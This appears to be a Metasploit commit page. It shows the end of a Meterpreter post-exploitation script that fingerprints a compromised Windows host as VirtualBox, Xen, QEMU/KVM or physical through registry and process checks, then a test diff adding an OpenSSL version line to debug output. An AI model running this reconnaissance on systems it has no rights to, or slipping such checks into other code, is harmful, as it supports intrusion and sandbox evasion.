|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("VBOX__")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("VBOX__")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
|
||||
if key.query_value('Identifier').data.downcase =~ /vbox/
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System')
|
||||
if key.query_value('SystemBiosVersion').data.downcase =~ /vbox/
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("VBoxMouse")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("VBoxGuest")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("VBoxService")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("VBoxSF")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
key.close
|
||||
rescue
|
||||
end
|
||||
end
|
||||
return vm
|
||||
end
|
||||
|
||||
def xenchk(session)
|
||||
vm = false
|
||||
xenprocs = [
|
||||
"xenservice.exe"
|
||||
]
|
||||
xenprocs.each do |p|
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if p == (x['name'].downcase)
|
||||
print_status("This is a Xen Virtual Machine") if not vm
|
||||
vm = true
|
||||
end
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("Xen")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("Xen")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("Xen")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("xenevtchn")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("xennet")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("xennet6")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("xensvc")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("xenvdb")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
key.close
|
||||
rescue
|
||||
end
|
||||
end
|
||||
return vm
|
||||
end
|
||||
|
||||
def qemuchk(session)
|
||||
vm = false
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
|
||||
if key.query_value('Identifier').data.downcase =~ /qemu/
|
||||
print_status("This is a QEMU/KVM Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0')
|
||||
if key.query_value('ProcessorNameString').data.downcase =~ /qemu/
|
||||
print_status("This is a QEMU/KVM Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
return vm
|
||||
|
||||
end
|
||||
|
||||
if client.platform == 'windows'
|
||||
print_status("Checking if target is a Virtual Machine .....")
|
||||
found = hypervchk(session)
|
||||
found = vmwarechk(session) if not found
|
||||
found = checkvrtlpc(session) if not found
|
||||
found = vboxchk(session) if not found
|
||||
found = xenchk(session) if not found
|
||||
found = qemuchk(session) if not found
|
||||
print_status("It appears to be physical host.") if not found
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
@@ -1276,6 +1276,7 @@ RSpec.describe Msf::Ui::Debug do
|
||||
```
|
||||
Framework: VERSION
|
||||
Ruby: #{RUBY_DESCRIPTION}
|
||||
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
|
||||
Install Root: bad/path
|
||||
Session Type: driver selected, no connection
|
||||
Install Method: Other - Please specify
|
||||
@@ -1315,6 +1316,7 @@ RSpec.describe Msf::Ui::Debug do
|
||||
```
|
||||
Framework: VERSION
|
||||
Ruby: #{RUBY_DESCRIPTION}
|
||||
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
|
||||
Install Root: bad/path
|
||||
Session Type: Connected to db_name. Connection type: http.
|
||||
Install Method: Other - Please specify
|
||||
@@ -1362,6 +1364,7 @@ RSpec.describe Msf::Ui::Debug do
|
||||
```
|
||||
Framework: VERSION
|
||||
Ruby: #{RUBY_DESCRIPTION}
|
||||
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
|
||||
Install Root: bad/path
|
||||
Session Type: Connected to current_db_connection. Connection type: local.
|
||||
Install Method: Other - Please specify
|
||||
@@ -1400,6 +1403,7 @@ RSpec.describe Msf::Ui::Debug do
|
||||
```
|
||||
Framework: VERSION
|
||||
Ruby: #{RUBY_DESCRIPTION}
|
||||
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
|
||||
Install Root: #{File.join(File::SEPARATOR, 'usr', 'share', 'metasploit-framework')}
|
||||
Session Type: driver selected, no connection
|
||||
Install Method: Other - Please specify
|
||||
@@ -1438,6 +1442,7 @@ RSpec.describe Msf::Ui::Debug do
|
||||
```
|
||||
Framework: VERSION
|
||||
Ruby: #{RUBY_DESCRIPTION}
|
||||
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
|
||||
Install Root: #{File.join(file_fixtures_path, 'debug', 'installs', 'omnibus')}
|
||||
Session Type: driver selected, no connection
|
||||
Install Method: Omnibus Installer
|
||||
@@ -1477,6 +1482,7 @@ RSpec.describe Msf::Ui::Debug do
|
||||
```
|
||||
Framework: VERSION
|
||||
Ruby: #{RUBY_DESCRIPTION}
|
||||
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
|
||||
Install Root: #{File.join(file_fixtures_path, 'debug', 'installs')}
|
||||
Session Type: driver selected, no connection
|
||||
Install Method: Git Clone
|
||||
@@ -1515,6 +1521,7 @@ RSpec.describe Msf::Ui::Debug do
|
||||
```
|
||||
Framework: VERSION
|
||||
Ruby: #{RUBY_DESCRIPTION}
|
||||
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
|
||||
Install Root: #{File.join(File::SEPARATOR, 'opt', 'metasploit')}
|
||||
Session Type: driver selected, no connection
|
||||
Install Method: Other - Please specify
|
||||
|
||||
Reference in New Issue
Block a user